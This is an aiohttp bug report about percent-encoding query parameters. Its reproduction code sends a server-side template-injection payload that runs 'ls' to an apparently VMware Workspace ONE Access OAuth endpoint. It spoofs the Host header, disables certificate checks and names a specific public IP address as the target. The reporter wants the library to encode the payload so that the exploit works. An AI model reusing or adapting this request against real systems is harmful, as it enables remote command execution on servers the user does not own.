Percent-encode all reserved characters in query arguments

[hesamd108]

Describe the bug

I want to use pass parameter in URL like requests method, but it give me different response

To Reproduce

1. Import packages:

import aiohttp
import asyncio
import re

2. create function, use get method and send parameter:

async def main(url):
    headers = {'User-Agent': f'Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0'}
    regex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$"
    if re.search(regex, url):
        headers['Host'] = 'localhost'
    params = {
        'error': '',
        'deviceUdid': '${"freemarker.template.utility.Execute"?new()("ls")}'
    }

    async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=False)) as session:
        async with session.get(f'https://{url}', params=params) as response:
            print(response.url)

3. run the function:

asyncio.run(main("189.84.30.207"))

Expected behavior

Expected behavior:

https://189.84.30.207/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22ls%22%29%7D

Actual behavior:

https://189.84.30.207/?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D

Logs/tracebacks

https://189.84.30.207/?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D

Python Version

$ python --version
3.10

aiohttp Version

$ python -m pip show aiohttp
aiohttp==3.8.3

multidict Version

$ python -m pip show multidict

yarl Version

$ python -m pip show yarl

OS

Ubuntu 20.4 LTS

Related component

Server, Client

Additional context

No response

Code of Conduct

• [X] I agree to follow the aio-libs Code of Conduct